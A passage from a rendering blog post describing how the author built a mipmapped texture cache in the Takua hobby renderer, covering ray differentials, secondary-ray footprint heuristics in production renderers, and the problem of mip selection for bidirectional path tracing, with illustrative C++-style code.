                3. &lt;a href="/2018/10/bidirectional-mipmap.html#2018-10-25-mipmap-level-selection-and-ray-differentials"&gt;Mipmap Level Selection and Ray Differentials&lt;/a&gt;&lt;br /&gt;
                4. &lt;a href="/2018/10/bidirectional-mipmap.html#2018-10-25-ray-differentials-and-path-tracing"&gt;Ray Differentials and Path Tracing&lt;/a&gt;&lt;br /&gt;
                5. &lt;a href="/2018/10/bidirectional-mipmap.html#2018-10-25-ray-differentials-and-bidirectional"&gt;Ray Differentials and Bidirectional Techniques&lt;/a&gt;&lt;br /&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class="tableofcontents-column2"&gt;
            &lt;div class="tableofcontents-content"&gt;
                6. &lt;a href="/2018/10/bidirectional-mipmap.html#2018-10-25-camera-based-mipmap-level-selection"&gt;Camera-Based Mipmap Level Selection&lt;/a&gt;&lt;br /&gt;
                7. &lt;a href="/2018/10/bidirectional-mipmap.html#2018-10-25-results"&gt;Results&lt;/a&gt;&lt;br /&gt;
                8. &lt;a href="/2018/10/bidirectional-mipmap.html#2018-10-25-additional-renders"&gt;Additional Renders&lt;/a&gt;&lt;br /&gt;
                9. &lt;a href="/2018/10/bidirectional-mipmap.html#2018-10-25-references"&gt;References&lt;/a&gt;&lt;br /&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div id="2018-10-25-introduction"&gt;&lt;/div&gt;
&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;

&lt;p&gt;One major feature that differentiates production-capable renderers from hobby or research renderers is a texture caching system.
A well-implemented texture caching system is what allows a production renderer to render scenes with potentially many TBs of textures, but in a reasonable footprint that fits in a few dozen or a hundred-ish GB of RAM.
Pretty much every production renderer today has a robust texture caching system; Arnold famously derives a significant amount of performance from an extremely efficient texture cache implementation, and Vray/Corona/Renderman/Hyperion/etc. all have their own, similarly efficient systems.&lt;/p&gt;

&lt;p&gt;In this post and the next few posts, I’ll write about how I implemented a tiled, mipmapped texture caching system in my hobby renderer, Takua Renderer.
I’ll also discuss some of the interesting challenges I ran into along the way.
This post will focus on the mipmapping part of the system.
Building a tiled mipmapping system that works well with bidirectional path tracing techniques was particularly difficult, for reasons I’ll discuss later in this post.
I’ll also review the academic literature on ray differentials and mipmapping with path tracing, and I’ll take a look at what several different production renderers do.
The scene I’ll use as an example in this post is a custom recreation of a forest scene from Evermotion’s Archmodels 182, rendered entirely using Takua Renderer (of course):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Oct/forest.cam0.0.jpg"&gt;&lt;img alt="Figure 1: A forest scene in the morning, rendered using Takua Renderer. 6 GB of textures on disk accessed using a 1 GB in-memory texture cache." src="https://blog.yiningkarlli.com/content/images/2018/Oct/preview/forest.cam0.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div id="2018-10-25-texture-caches-and-mipmaps"&gt;&lt;/div&gt;
&lt;h2 id="texture-caches-and-mipmaps"&gt;Texture Caches and Mipmaps&lt;/h2&gt;

&lt;p&gt;Texture caching is typically coupled with some form of a tiled, mipmapped &lt;a href="https://dl.acm.org/citation.cfm?id=801126"&gt;[Williams 1983]&lt;/a&gt; texture system; the texture cache holds specific tiles of an image that were accessed, as opposed to an entire texture.
These tiles are typically lazy-loaded on demand into a cache &lt;a href="https://graphics.pixar.com/library/TOD/"&gt;[Peachey 1990]&lt;/a&gt;, which means the renderer only needs to pay the memory storage cost for only parts of a texture that the renderer actually accesses.&lt;/p&gt;

&lt;p&gt;The remainder of this section and the next section of this post are a recap of what mipmaps are, mipmap level selection, and ray differentials for the less experienced reader.
I also discuss a bit about what techniques various production renderers are known to use today.
If you already know all of this stuff, I’d suggest skipping down a bit to the section titled “Ray Differentials and Bidirectional Techniques”.&lt;/p&gt;

&lt;p&gt;Mipmapping works by creating multiple resolutions of a texture, and for a given surface, only loading the last resolution level where the frequency detail falls below the Nyquist limit when viewed from the camera.
Since textures are often much more high resolution than the final framebuffer resolution, mipmapping means the renderer can achieve huge memory savings, since for objects further away from the camera, most loaded mip levels will be significantly lower resolution than the original texture.
Mipmaps start with the original full resolution texture as “level 0”, and then each level going up from level 0 is half the resolution of the previous level.
The highest level is the level at which the texture can no longer be halved in resolution again.&lt;/p&gt;

&lt;p&gt;Below is an example of a mipmapped texture.
The texture below is the diffuse albedo texture for the fallen log that is in the front of the scene in Figure 1, blocking off the path into the woods.
On the left side of Figure 2 is level 1 of this texture (I have omitted level 0 both for image size reasons and because the original texture is from a commercial source, which I don’t have the right to redistribute in full resolution).
On the right side, going from the top on down, are levels 2 through 11 of the mipmap.
I’ll talk about the “tiled” part in a later post.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Oct/texture_miplevels.jpg"&gt;&lt;img alt="Figure 2: A mipmapped texture. Level 1 of the mipmap is shown on the left, levels 2 through 11 are shown on the right. Level 0 is not shown here. A bit of terminology that is often confusing: the lowest mipmap level is the highest resolution level, while the highest mipmap level is the lowest resolution level." src="https://blog.yiningkarlli.com/content/images/2018/Oct/preview/texture_miplevels.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before diving into details, I need to make a major note: I’m not going to write too much about texture filtering for now, mainly because I haven’t done much with texture filtering in Takua at all.
Mipmapping was originally invented as an elegant solution to the problem of expensive texture filtering in rasterized rendering; when a texture had detail that was more high frequency than the distance between neighboring pixels in the framebuffer, aliasing would occur when the texture was sampled.
Mipmaps are typically generated with pre-computed filtering for mip levels above the original resolution, allowing for single texture samples to appear antialiased.
For a comprehensive discussion of texture filtering, how it relates to mipmaps, and more advanced techniques, see &lt;a href="http://www.pbr-book.org/3ed-2018/Texture/Image_Texture.html#MIPMaps"&gt;section 10.4.3 in Physically Based Rendering 3rd Edition&lt;/a&gt; &lt;a href="http://www.pbr-book.org"&gt;[Pharr et al. 2016]&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For now, Takua just uses a point sampler for all texture filtering; my interest in mipmaps is mostly for memory efficiency and texture caching instead of filtering.
My thinking is that in a path tracer that is going to generate hundreds or even thousands of paths for each framebuffer pixel, the need for single-sample antialiasing becomes somewhat lessened, since we’re already basically supersampling.
Good texture filtering is still ideal of course, but being lazy and just relying on supersampling to get rid of texture aliasing in primary visibility is… not necessarily the worst short-term solution in the world.
Furthermore, relying on just point sampling means each texture sample only requires two texture lookups: one from the integer mip level and one from the integer mip level below the continuous float mip level at a sample point (see the next section for more on this).
Using only two texture lookups per texture sample is highly efficient due to minimized memory access and minimized branching in the code.
Interestingly, the Moonray team at Dreamworks Animation arrived at more or less the same conclusion &lt;a href="https://dl.acm.org/citation.cfm?doid=3105762.3105768"&gt;[Lee et al. 2017]&lt;/a&gt;; they point out in their paper that geometric complexity, for all intents and purposes, has an infinite frequency, whereas pre-filtered mipmapped textures are already band limited.
As a result, the number of samples required to resolve geometric aliasing should be more than enough to also resolve any texture aliasing.
The Moonray team found that this approach works well enough to be their default mode in production.&lt;/p&gt;

&lt;div id="2018-10-25-mipmap-level-selection-and-ray-differentials"&gt;&lt;/div&gt;
&lt;h2 id="mipmap-level-selection-and-ray-differentials"&gt;Mipmap Level Selection and Ray Differentials&lt;/h2&gt;

&lt;p&gt;The trickiest part of using mipmapped textures is figuring out what mipmap level to sample at any given point.
Since the goal is to find a mipmap level with a frequency detail as close to the texture sampling rate as possible, we need to have a sense of what the texture sampling rate at a given point in space relative to the camera will be.
More precisely, we want the differential of the surface parameterization (a.k.a. how uv space is changing) with respect to the image plane.
Since the image plane is two-dimensional, we will end up with a differential for each uv axis with respect to each axis of the image plane; we call these differentials dudx/dvdx and dudy/dvdy, where u/v are uv coordinates and x/y are image plane pixel coordinates.
Calculating these differentials is easy enough in a rasterizer: for each image plane pixel, take the texture coordinate of the fragment and subtract with the texture coordinates of the neighboring fragments to get the gradient of the texture coordinates with respect to the image plane (a.k.a. screen space), and then scale by the texture resolution.
Once we have dudx/dvdx and dudy/dvdy, for a non-fancy box filter all we have to do to get the mipmap level is take the longest of these gradients and calculate its logarithm base 2.
A code snippet might look something like this:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;float mipLevelFromDifferentialSurface(const float dudx,
                                      const float dvdx,
                                      const float dudy,
                                      const float dvdy,
                                      const int maxMipLevel) {
    float width = max(max(dudx, dvdx), max(dudy, dvdy));
    float level = float(maxMipLevel) + log2(width);
    return level;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice that the level value is a continuous float.
Usually, instead of rounding level to an integer, a better approach is to sample both of the integer mipmap levels above and below the continuous level and blend between the two values using the fractional part of level.
Doing this blending helps immensely with smoothing transitions between mipmap levels, which can become very important when rendering an animated sequence with camera movement.&lt;/p&gt;

&lt;p&gt;In a ray tracer, however, figuring out dudx/dvdx and dudy/dvdy is not as easy as in a rasterizer.
If we are only considering primary rays, we can do something similar to the rasterization case: fire a ray from a given pixel and fire rays from the neighboring pixels, and calculate the gradient of the texture coordinates with respect to screen space (the screen space partial derivatives) by examining the hit points of each neighboring ray that hits the same surface as the primary ray.
This approach rapidly falls apart though, for the following reasons and more:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;If a ray hits a surface but none of its neighboring rays hit the same surface, then we can’t calculate any differentials and must fall back to point sampling the lowest mip level. This isn’t a problem in the rasterization case, since rasterization will run through all of the polygons that make up a surface, but in the ray tracing case, we only know about surfaces that we actually hit with a ray.&lt;/li&gt;
  &lt;li&gt;For secondary rays, we would need to trace secondary bounces not just for a given pixel’s ray, but also its neighboring rays. Doing so would be necessary since, depending on the bsdf at a given surface, the distance between the main ray and its neighbor rays can change arbitrarily. Tracing this many additional rays quickly becomes prohibitively expensive; for example, if we are considering four neighbors per pixel, we are now tracing five times as many rays as before.&lt;/li&gt;
  &lt;li&gt;We would also have to continue to guarantee that neighbor secondary rays continue hitting the same surface as the main secondary ray, which will become arbitrarily difficult as bxdf lobes widen or narrow.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A better solution to these problems is to use &lt;em&gt;ray differentials&lt;/em&gt; &lt;a href="https://graphics.stanford.edu/papers/trd/"&gt;[Igehy 1999]&lt;/a&gt;, which is more or less just a ray along with the partial derivative of the ray with respect to screen space.
Thinking of a ray differential as essentially similar to a ray with a width or a cone, similar to beam tracing &lt;a href="https://dl.acm.org/citation.cfm?id=808588"&gt;[Heckbert and Hanrahan 1984]&lt;/a&gt;, pencil tracing &lt;a href="https://dl.acm.org/citation.cfm?id=37408"&gt;[Shinya et al. 1987]&lt;/a&gt;, or cone tracing &lt;a href="https://dl.acm.org/citation.cfm?id=808589"&gt;[Amanatides 1984]&lt;/a&gt;, is not entirely incorrect, but ray differentials are a bit more nuanced than any of the above.
With ray differentials, instead of tracing a bunch of independent neighbor rays with each camera ray, the idea is to reconstruct dudx/dvdy and dudy/dvdy at each hit point using simulated offset rays that are reconstructed using the ray’s partial derivative.
Ray differentials are generated alongside camera rays; when a ray is traced from the camera, offset rays are generated for a single neighboring pixel vertically and a single neighboring pixel horizontally in the image plane.
Instead of tracing these offset rays independently, however, we always assume they are at some angular width from main ray.
When the main ray hits a surface, we need to calculate for later use the differential of the surface at the intersection point with respect to uv space, which is called dpdu and dpdv.
Different surface types will require different functions to calculate dpdu and dpdv; for a triangle in a triangle mesh, the code requires the position and uv coordinates at each vertex:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;DifferentialSurface calculateDifferentialSurfaceForTriangle(const vec3&amp;amp; p0,
                                                            const vec3&amp;amp; p1,
                                                            const vec3&amp;amp; p2,
                                                            const vec2&amp;amp; uv0,
                                                            const vec2&amp;amp; uv1,
                                                            const vec2&amp;amp; uv2) {
    vec2 duv02 = uv0 - uv2;
    vec2 duv12 = uv1 - uv2;
    float determinant = duv02[0] * duv12[1] - duv02[1] * duv12[0];

    vec3 dpdu, dpdv;

    vec3 dp02 = p0 - p2;
    vec3 dp12 = p1 - p2;
    if (abs(determinant) == 0.0f) {
        vec3 ng = normalize(cross(p2 - p0, p1 - p0));
        if (abs(ng.x) &amp;gt; abs(ng.y)) {
            dpdu = vec3(-ng.z, 0, ng.x) / sqrt(ng.x * ng.x + ng.z * ng.z);
        } else {
            dpdu = vec3(0, ng.z, -ng.y) / sqrt(ng.y * ng.y + ng.z * ng.z);
        }
        dpdv = cross(ng, dpdu);
    } else {
        float invdet = 1.0f / determinant;
        dpdu = (duv12[1] * dp02 - duv02[1] * dp12) * invdet;
        dpdv = (-duv12[0] * dp02 + duv02[0] * dp12) * invdet;
    }
    return DifferentialSurface(dpdu, dpdv);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Calculating surface differentials does add a small bit of overhead to the renderer, but the cost can be minimized with some careful work.
The naive approach to surface differentials is to calculate them with every intersection point and return them as part of the hit point information that is produced by ray traversal.
However, this computation is wasted if the shading operation for a given hit point doesn’t actually end up doing any texture lookups.
In Takua, surface differentials are calculated on demand at texture lookup time instead of at ray intersection time; this way, we don’t have to pay the computational cost for the above function unless we actually need to do texture lookups.
Takua also supports multiple uv sets per mesh, so the above function is parameterized by uv set ID, and the function is called once for each uv set that a texture specifies.
Surface differentials are also cached within a shading operation per hit point, so if a shader does multiple texture lookups within a single invocation, the required surface differentials don’t need to be redundantly calculated.&lt;/p&gt;

&lt;p&gt;Sony Imageworks’ variant of Arnold (we’ll refer to it as SPI Arnold to disambiguate from Solid Angle’s Arnold) does something even more advanced &lt;a href="https://dl.acm.org/citation.cfm?id=3180495"&gt;[Kulla et al. 2018]&lt;/a&gt;.
Instead of the above explicit surface differential calculation, SPI Arnold implements an automatic differentiation system utilizing dual arithmetic &lt;a href="https://www.tandfonline.com/doi/abs/10.1080/10867651.2004.10504901"&gt;[Piponi 2004]&lt;/a&gt;.
SPI Arnold extensively utilizes OSL for shading; this means that they are able to trace at runtime what dependencies a particular shader execution path requires, and therefore when a shader needs any kind of derivative or differential information.
The calls to the automatic differentiation system are then JITed into the shader’s execution path, meaning shader authors never have to be aware of how derivatives are computed in the renderer.
The SPI Arnold team’s decision to use dual arithmetic based automatic differentiation is influenced by lessons they had previously learned with BMRT’s finite differencing system, which required lots of extraneous shading computations for incoherent ray tracing &lt;a href="https://www.tandfonline.com/doi/abs/10.1080/10867651.1996.10487462"&gt;[Gritz and Hahn 1996]&lt;/a&gt;.
At least for my purposes, though. I’ve found that the simpler approach I have taken in Takua is sufficiently negligible in both final overhead and code complexity that I’ll probably skip something like the SPI Arnold approach for now.&lt;/p&gt;

&lt;p&gt;Once we have the surface differential, we can then approximate the local surface geometry at the intersection point with a tangent plane, and intersect the offset rays with the tangent plane.
To find the corresponding uv coordinates for the offset ray tangent plane intersection planes, dpdu/dpdv, the main ray intersection point, and the offset ray intersection points can be used to establish a linear system.
Solving this linear system leads us directly to dudx/dudy and dvdx/dvdy; for the exact mathematical details and explanation, see &lt;a href="http://www.pbr-book.org/3ed-2018/Texture/Sampling_and_Antialiasing.html"&gt;section 10.1 in Physically Based Rendering 3rd Edition&lt;/a&gt;.
The actual code might look something like this:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;// This code is heavily aped from PBRT v3; consult the PBRT book for details!
vec4 calculateScreenSpaceDifferential(const vec3&amp;amp; p,            // Surface intersection point
                                      const vec3&amp;amp; n,            // Surface normal
                                      const vec3&amp;amp; origin,       // Main ray origin
                                      const vec3&amp;amp; rDirection,   // Main ray direction
                                      const vec3&amp;amp; xorigin,      // Offset x ray origin
                                      const vec3&amp;amp; rxDirection,  // Offset x ray direction
                                      const vec3&amp;amp; yorigin,      // Offset y ray origin
                                      const vec3&amp;amp; ryDirection,  // Offset y ray direction
                                      const vec3&amp;amp; dpdu,         // Surface differential w.r.t. u
                                      const vec3&amp;amp; dpdv          // Surface differential w.r.t. v
                                      ) {
    // Compute offset-ray intersection points with tangent plane
    float d = dot(n, p);
    float tx = -(dot(n, xorigin) - d) / dot(n, rxDirection);
    vec3 px = origin + tx * rxDirection;
    float ty = -(dot(n, yorigin) - d) / dot(n, ryDirection);
    vec3 py = origin + ty * ryDirection;
    vec3 dpdx = px - p;
    vec3 dpdy = py - p;

    // Compute uv offsets at offset-ray intersection points
    // Choose two dimensions to use for ray offset computations
    ivec2 dim;
    if (std::abs(n.x) &amp;gt; std::abs(n.y) &amp;amp;&amp;amp; std::abs(n.x) &amp;gt; std::abs(n.z)) {
        dim = ivec2(1,2);
    } else if (std::abs(n.y) &amp;gt; std::abs(n.z)) {
        dim = ivec2(0,2);
    } else {
        dim = ivec2(0,1);
    }
    // Initialize A, Bx, and By matrices for offset computation
    mat2 A;
    A[0][0] = ds.dpdu[dim[0]];
    A[0][1] = ds.dpdv[dim[0]];
    A[1][0] = ds.dpdu[dim[1]];
    A[1][1] = ds.dpdv[dim[1]];
    vec2 Bx(px[dim[0]] - p[dim[0]], px[dim[1]] - p[dim[1]]);
    vec2 By(py[dim[0]] - p[dim[0]], py[dim[1]] - p[dim[1]]);

    float dudx, dvdx, dudy, dvdy;

    // Solve two linear systems to get uv offsets
    auto solveLinearSystem2x2 = [](const mat2&amp;amp; A, const vec2&amp;amp; B, float&amp;amp; x0, float&amp;amp; x1) -&amp;gt; bool {
        float det = A[0][0] * A[1][1] - A[0][1] * A[1][0];
        if (abs(det) &amp;lt; (float)constants::EPSILON) {
            return false;
        }
        x0 = (A[1][1] * B[0] - A[0][1] * B[1]) / det;
        x1 = (A[0][0] * B[1] - A[1][0] * B[0]) / det;
        if (std::isnan(x0) || std::isnan(x1)) {
            return false;
        }
        return true;
    };
    if (!solveLinearSystem2x2(A, Bx, dudx, dvdx)) {
        dudx = dvdx = 0.0f;
    }
    if (!solveLinearSystem2x2(A, By, dudy, dvdy)) {
        dudy = dvdy = 0.0f;
    }

    return vec4(dudx, dvdx, dudy, dvdy);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that we have dudx/dudy and dvdx/dvdy, getting the proper mipmap level works just like in the rasterization case.
The above approach is exactly what I have implemented in Takua Renderer for camera rays.
Similar to surface differentials, Takua caches dudx/dudy and dvdx/dvdy computations per shader invocation per hit point, so that multiple textures utilizing the same uv set dont’t require multiple redundant calls to the above function.&lt;/p&gt;

&lt;p&gt;The ray derivative approach to mipmap level selection is basically the standard approach in modern production rendering today for camera rays.
PBRT &lt;a href="http://pbrt.org"&gt;[Pharr et al. 2016]&lt;/a&gt;, Mitsuba &lt;a href="http://www.mitsuba-renderer.org/"&gt;[Jakob 2010]&lt;/a&gt;, and Solid Angle’s version of Arnold &lt;a href="https://dl.acm.org/citation.cfm?id=3182160"&gt;[Georgiev et al. 2018]&lt;/a&gt; all use ray differential systems based on this approach for camera rays.
Renderman &lt;a href="https://dl.acm.org/citation.cfm?id=3182162"&gt;[Christensen et al. 2018]&lt;/a&gt; uses a simplified version of ray differentials that only tracks two floats per ray, instead of the four vectors needed to represent a full ray differential.
Renderman tracks a width at each ray’s origin, and a spread value representing the linear rate of change of the ray width over a unit distance.
This approach does not encode as much information as the full ray derivative approach, but nonetheless ends up being sufficient since in a path tracer, every pixel essentially ends up being supersampled.
Hyperion &lt;a href="https://dl.acm.org/citation.cfm?id=3182159"&gt;[Burley et al. 2018]&lt;/a&gt; uses a similarly simplified scheme.&lt;/p&gt;

&lt;p&gt;A brief side note: being able to calculate the differential for surface normals with respect to screen space is useful for bump mapping, among other things, and the calculation is directly analogous to the pseudocode above for calculateDifferentialSurfaceForTriangle() and calculateScreenSpaceDifferential(), just with surface normals substituted in for surface positions.&lt;/p&gt;

&lt;div id="2018-10-25-ray-differentials-and-path-tracing"&gt;&lt;/div&gt;
&lt;h2 id="ray-differentials-and-path-tracing"&gt;Ray Differentials and Path Tracing&lt;/h2&gt;

&lt;p&gt;We now know how to calculate filter footprints using ray differentials for camera rays, which is great, but what about secondary rays?
Without ray differentials for secondary rays, path tracing texture access behavior degrades severely, since secondary rays have to fall back to point sampling textures at the lowest mip level.
A number of different schemes exist for calculating filter footprints and mipmap levels for secondary rays; here are a few that have been presented in literature and/or are known to be in use in modern production renderers:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://graphics.stanford.edu/papers/trd/"&gt;Igehy [1999]&lt;/a&gt; demonstrates how to propagate ray differentials through perfectly specular reflection and refraction events, which boil down to some simple extensions to the basic math for optical reflection and refraction.
However, we still need a means for handling glossy (so really, non-zero surface roughness), which requires an extended version of ray differentials.
&lt;em&gt;Path differentials&lt;/em&gt; &lt;a href="http://graphics.cs.kuleuven.be/publications/PATHDIFF/"&gt;[Suykens and Willems 2001]&lt;/a&gt; consider more than just partial derivatives for each screen space pixel footprint; with path differentials, partial derivatives can also be taken at each scattering event along a number of dimensions.
As an example, for handling a arbitrarily shaped BSDF lobe, new partial derivatives can be calculated along some parameter of the lobe that describes the shape of the lobe, which takes the form of a bunch of additional scattering directions around the main ray’s scattering direction.
If we imagine looking down the main scattering direction and constructing a convex hull around the additional scattering directions, the result is a polygonal footprint describing the ray differential over the scattering event.
This footprint can then be approximated by finding the major and minor axis of the polygonal footprint.
While the method is general enough to handle arbitrary factors impacting ray directions, unfortunately it can be fairly complex and expensive to compute in practice, and differentials for some types of events can be very difficult to derive.
For this reason, none of the major production renderers today actually use this approach.
However, there is a useful observation that can be drawn from path differentials: generally, in most cases, primary rays have narrow widths and secondary rays have wider widths &lt;a href="https://diglib.eg.org/handle/10.2312/8776"&gt;[Christensen et al. 2003]&lt;/a&gt;; this observation is the basis of the ad-hoc techniques that most production renderers utilize.&lt;/p&gt;

&lt;p&gt;Recently, research has appeared that provides an entirely different, more principled approach to selecting filter footprints, based on &lt;em&gt;covariance tracing&lt;/em&gt; &lt;a href="https://dl.acm.org/citation.cfm?id=2487239"&gt;[Belcour et al. 2013]&lt;/a&gt;.
The high-level idea behind covariance tracing is that local light interaction effects such as transport, occlusion, roughness, etc. can all be encoded as 5D covariance matrices, which in turn can be used to determine ideal sampling rates.
Covariance tracing builds an actual, implementable rendering algorithm on top of earlier, mostly theoretical work on light transport frequency analysis &lt;a href="https://dl.acm.org/citation.cfm?id=1073320"&gt;[Durand et al. 2005]&lt;/a&gt;.
&lt;a href="https://dl.acm.org/citation.cfm?id=2487239"&gt;Belcour et al. [2017]&lt;/a&gt; presents an extension to covariance tracing for calculating filter footprints for arbitrary shading effects, including texture map filtering.
The covariance-tracing based approach differs from path differentials in two key areas.
While both approaches operate in path space, path differentials are much more expensive to compute than the covariance-tracing based technique; path differential complexity scales quadratically with path length, while covariance tracing only ever carries a single covariance matrix along a path for a given effect.
Also, path differentials can only be generated starting from the camera, whereas covariance tracing works from the camera and the light; in the next section, we’ll talk about why this difference is critically important.&lt;/p&gt;

&lt;p&gt;Covariance tracing based techniques have a lot of promise, and are the best known approach to date for for selecting filter footprints along a path.
The original covariance tracing paper had some difficulty with handling high geometric complexity; covariance tracing requires a voxelized version of the scene for storing local occlusion covariance information, and covariance estimates can degrade severely if the occlusion covariance grid is not high resolution enough to capture small geometric details.
For huge production scale scenes, geometric complexity requirements can make covariance tracing either slow due to huge occlusion grids, or degraded in quality due to insufficiently large occlusion grids.
However, the voxelization step is not as much of a barrier to practicality as it may initially seem.
For covariance tracing based filtering, visibility can be neglected, so the entire scene voxelization step can be skipped; &lt;a href="https://dl.acm.org/citation.cfm?id=2487239"&gt;Belcour et al. [2017]&lt;/a&gt; demonstrates how.
Since covariance tracing based filtering can be used with the same assumptions and data as ray differentials but is both superior in quality and more generalizable than ray differentials, I would not be surprised to see more renderers adopt this technique over time.&lt;/p&gt;

&lt;p&gt;As of present, however, instead of using any of the above techniques, pretty much all production renderers today use various ad-hoc methods for tracking ray widths for secondary rays.
SPI Arnold tracks accumulated roughness values encountered by a ray: if a ray either encounters a diffuse event or reaches a sufficiently high accumulated roughness value, SPI Arnold automatically goes to basically the highest available MIP level &lt;a href="https://dl.acm.org/citation.cfm?id=3180495"&gt;[Kulla et al. 2018]&lt;/a&gt;.
This scheme produces very aggressive texture filtering, but in turn provides excellent texture access patterns.
Solid Angle Arnold similarly uses an ad-hoc microfacet-inspired heuristic for secondary rays &lt;a href="https://dl.acm.org/citation.cfm?id=3182160"&gt;[Georgiev et al. 2018]&lt;/a&gt; .
Renderman handles reflection and refraction using something similar to &lt;a href="https://graphics.stanford.edu/papers/trd/"&gt;Igehy [1999]&lt;/a&gt;, but modified for the single-float-width ray differential representation that Renderman uses &lt;a href="https://dl.acm.org/citation.cfm?id=3182162"&gt;[Christensen et al. 2018]&lt;/a&gt;.
For glossy and diffuse events, Renderman uses an empirically determined heuristic where higher ray width spreads are driven by lower scattering direction pdfs.
Weta’s Manuka has a unified roughness estimation system built into the shading system, which uses a mean cosine estimate for figuring out ray differentials &lt;a href="https://dl.acm.org/citation.cfm?id=3182161"&gt;[Fascione et al. 2018]&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Generally, roughness driven heuristics seem to work reasonably well in production, and the actual heuristics don’t actually have to be too complicated!
In an experimental branch of PBRT, Matt Pharr found that a simple heuristic that uses a ray differential covering roughly 1/25th of the hemisphere for diffuse events and 1/100th of the hemisphere for glossy events generally worked reasonably well &lt;a href="https://www.pbrt.org/texcache.pdf"&gt;[Pharr 2017]&lt;/a&gt;.&lt;/p&gt;

&lt;div id="2018-10-25-ray-differentials-and-bidirectional"&gt;&lt;/div&gt;
&lt;h2 id="ray-differentials-and-bidirectional-techniques"&gt;Ray Differentials and Bidirectional Techniques&lt;/h2&gt;

&lt;p&gt;So far everything we’ve discussed has been for unidirectional path tracing that starts from the camera.
What about ray differentials and mip level selection for paths starting from a light, and by extension, for bidirectional path tracing techniques?
Unfortunately, nobody has a good, robust solution for calculating ray differentials for light path!
Calculating ray differentials for light paths is fundamentally something of an ill defined problem: a ray differential has to be calculated with respect to a screen space pixel footprint, which works fine for camera paths since the first ray starts from the camera, but for light paths, the &lt;em&gt;last&lt;/em&gt; ray in the path is the one that reaches the camera.
With light paths, we have something of a chicken-and-egg problem; there is no way to calculate anything with respect to a screen space pixel footprint until a light path has already been fully constructed, but the shading computations required to construct the path are the computations that want differential information in the first place.
Furthermore, even if we did have a good way to calculate a starting ray differential from a light, the corresponding path differential can’t become as wide as in the case of a camera path, since at any given moment the light path might scatter towards the camera and therefore needs to maintain a footprint no wider than a single screen space pixel.&lt;/p&gt;

&lt;p&gt;Some research work has gone into this question, but more work is needed on this topic.
The previously discussed covariance tracing based technique &lt;a href="https://dl.acm.org/citation.cfm?id=2487239"&gt;[Belcour et al. 2017]&lt;/a&gt; does allow for calculating an ideal texture filtering width and mip level once a light path is fully constructed, but again, the real problem is that footprints need to be available during path construction, not afterwards.
With bidirectional path tracing, things get even harder.
In order to keep a bidirectional path unbiased, all connections between camera and light path vertices must be consistent in what mip level they sample; however, this is difficult since ray differentials depend on the scattering events at each path vertex.
&lt;a href="https://dl.acm.org/citation.cfm?id=2487239"&gt;Belcour et al. [2017]&lt;/a&gt; demonstrates how important
consistent texture filtering between two vertices is.&lt;/p&gt;

&lt;p&gt;Currently, only a handful of production renderers have extensive support for bidirectional techniques; of the ones that do, the most common solution to calculating ray differentials for bidirectional paths is… simply not to at all.
Unfortunately, this means bidirectional techniques must rely on point sampling the lowest mip level, which defeats the whole point of mipmapping and destroys texture caching performance.
The Manuka team alludes to using ray differentials for photon map gather widths in VCM and notes that these ray differentials are implemented as part of their manifold next event estimation system &lt;a href="https://dl.acm.org/citation.cfm?id=3182161"&gt;[Fascione et al. 2018]&lt;/a&gt;, but there isn’t enough detail in their paper to be able to figure out how this actually works.&lt;/p&gt;

&lt;div id="2018-10-25-camera-based-mipmap-level-selection"&gt;&lt;/div&gt;
&lt;h2 id="camera-based-mipmap-level-selection"&gt;Camera-Based Mipmap Level Selection&lt;/h2&gt;

&lt;p&gt;Takua has implementations of standard bidirectional path tracing, progressive photon mapping, and VCM, and I wanted mipmapping to work with all integrator types in Takua.
I’m interested in using Takua to render scenes with very high complexity levels using advanced (often bidirectional) light transport algorithms, but reaching production levels of shading complexity without a mipmapped texture cache simply is not possible without crazy amounts of memory (where crazy is defined as in the range of dozens to hundreds of GB of textures or more).
However, for the reasons described above, standard ray differential based techniques for calculating mip levels weren’t going to work with Takua’s bidirectional integrators.&lt;/p&gt;

&lt;p&gt;The lack of a ray differential solution for light paths left me stuck for some time, until late in 2017, when I got to read an early draft of what eventually became the Manuka paper &lt;a href="https://dl.acm.org/citation.cfm?id=3182161"&gt;[Fascione et al. 2018]&lt;/a&gt; in the ACM Transactions on Graphics special issue on production rendering.
I highly recommend reading all five of the production renderer system papers in the ACM TOG special issue.
However, if you’re already generally familiar with how a modern PBRT-style renderer works and only have time to read one paper, I would recommend the Manuka paper simply because Manuka’s architecture and the set of trade-offs and choices made by the Manuka team are so different from what every other modern PBRT-style production path tracer does.
What I eventually implemented in Takua is directly inspired by Manuka, although it’s not what Manuka actually does (I think).&lt;/p&gt;

&lt;p&gt;The key architectural feature that differentiates Manuka from Arnold/Renderman/Vray/Corona/Hyperion/etc. is its &lt;em&gt;shade-before-hit&lt;/em&gt; architecture.
I should note here that in this context, shade refers to the pattern generation part of shading, as opposed to the bsdf evaluation/sampling part of shading.
The brief explanation (you really should go read the full paper) is that Manuka completely decouples pattern generation from path construction and path sampling, as opposed to what all other modern path tracers do.
